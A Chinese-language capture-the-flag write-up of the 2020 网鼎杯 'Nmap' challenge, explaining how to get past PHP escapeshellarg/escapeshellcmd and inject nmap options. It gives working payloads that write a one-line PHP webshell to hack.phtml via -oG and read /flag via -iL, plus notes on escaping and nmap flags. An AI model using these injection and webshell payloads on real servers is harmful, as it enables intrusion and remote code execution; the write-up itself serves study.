[网鼎杯 2020 朱雀组]Nmap1

打开题目

在源代码中看到了提示

先随便输入127.0.0.1

那我们试试输入

127.0.0.1 | ls

可以看到 | 被转义符号\所转义

那我们输入 127.0.0.1 /| ls

得到三条反斜线

我们猜测,我们输入的东西是被escapeshellarg和escapeshellcmd处理过后的结果

我们输入的东西必须绕过这两个函数

1.直接放入payload

' <?php @eval($_POST"y");?> -oG hack.php '

可以看得出来对php字段有过滤

我们修改payload为' <?= @eval($_POST"y");?> -oG hack.phtml '

访问成功

蚁剑连接一下

在根目录下找到了flag

代码在linux下的运行结果

2.或者payload为

127.0.0.1' -iL /flag -o uuuu

我们访问一下uuuu' 文件

本来最开始我在idea运行的代码,感觉按照这个payload来应该是访问uuuu"

结果大佬告诉我linux下的php运行结果和window下的php运行结果不一样

这是linux下的运行结果

所以就应该是访问uuuu'

知识点:

1.转义字符

转义字符是指在ASCII码和Unicode等字符集中的无法被键盘录入的字符被当作特殊用途而需要转换回它原来的意义的字符。而转义字符转义是指字符已经被转换了意义

2.escapeshellcmd和escapeshellarg函数

escapeshellarg函数

在 Windows 上,escapeshellarg() 用空格替换了百分号、感叹号(延迟变量替换)和双引号并在字符串两边加上双引号。此外,每条连续的反斜线(\)都会被一个额外的反斜线所转义。也就是会把一些字符替换成空格。

escapeshellcmd函数

**反斜线(\)会在以下字符之前插入:&#;|*?~<>^()[]{}$\、\x0A 和 \xFF** 。 **' 和 " 仅在不配对儿的时候被转义**。在 Windows 平台上,所有这些字符以及 %! 字符前面都有一个插入符号(^`)。也就是会在这些字符前面插入 \ ,如果是在windows上就会插入^

实例:

详情见:

PHP: escapeshellcmd - Manual

nmap的一些命令

其中 target 是要扫描的目标主机或 IP 地址。这将在名为 output.txt 的文件中生成 grepable 格式的输出

  • nmap -iL target.txt

读取文件内容,以文件内容作为搜索目标,nmap 将读取 target.txt 文件中的每个目标,然后对每个目标执行扫描操作,并显示扫描结果。请确保 target.txt 文件的格式是每行一个目标主机或 IP 地址

如 nmap -iL target.txt -o result.txt

//扫描target.txt里面的内容并输出保存为result.txt

  • nmap -o系列

输出

-oN 标准输出

-oX XMl输出

-oS script jlddi3

-oG grepable

-oA 同时输出三种主要格式

-v 信息详细级别

-d 调试级别

--packet-trace 跟踪发送和接收的报文

--reason 显示端口处于特殊状态的原因

--open 仅显示开放的端口

关于一句话木马的小知识点

为什么<?php @eval(_POST"y"); ?>可以替换成<?= @eval(_POST"y"); ?>

主要是因为在php中,

<?=

?>

等价为

<?php echo

?>

总而言之就是,在 PHP 中,'<?= ?>' 是一种简短的标记,用于输出内容。它等效于 '<?php echo ?>' ,一句话木马就是php代码,需要去解析php,支持解析的文件有php3,php4,php5,phtml

知识点参考;

https://paper.seebug.org/164/

参考wp:

https://www.cnblogs.com/AikN/p/15727575.html

BUUCTF 网鼎杯 2020 朱雀组 Nmap_网鼎杯 2020 朱雀组nmap-CSDN博客

https://www.cnblogs.com/DenZi/articles/15343512.html

相关推荐
weixin_BYSJ198719 小时前
django在线图书销售平台---附源码16192
java·javascript·spring boot·python·django·flask·php
__log1 天前
弱网环境下的“生命线“:从AI流式响应到大文件上传的稳定性
开发语言·人工智能·php
TlSfoward1 天前
TLSFOWARD TLS指纹
开发语言·数据库·爬虫·搜索引擎·https·php
信仰8742 天前
Linux进阶篇01:网络基础配置
linux·网络·php
Qlittleboy2 天前
PHP的接口参数传递的过多,max_input_vars = 5000
开发语言·php
谪星·阿凯2 天前
CTF Web 解题完全指南:从 PHP 弱类型到 SSTI 模板注入的实战方法论
前端·安全·php·ctf web
你驴我2 天前
WhatsApp 多账号消息路由中的去重与顺序保证实践
开发语言·php
酷可达拉斯2 天前
Linux操作系统-简单内核优化
linux·git·php
AC赳赳老秦2 天前
OpenClaw 合规公开数据采集入门:合法边界、数据源选型与反爬规避实操指南
大数据·人工智能·python·信息可视化·php·deepseek·openclaw
ServBay3 天前
WordPress 核心漏洞 wp2shell,波及超 5 亿网站
后端·php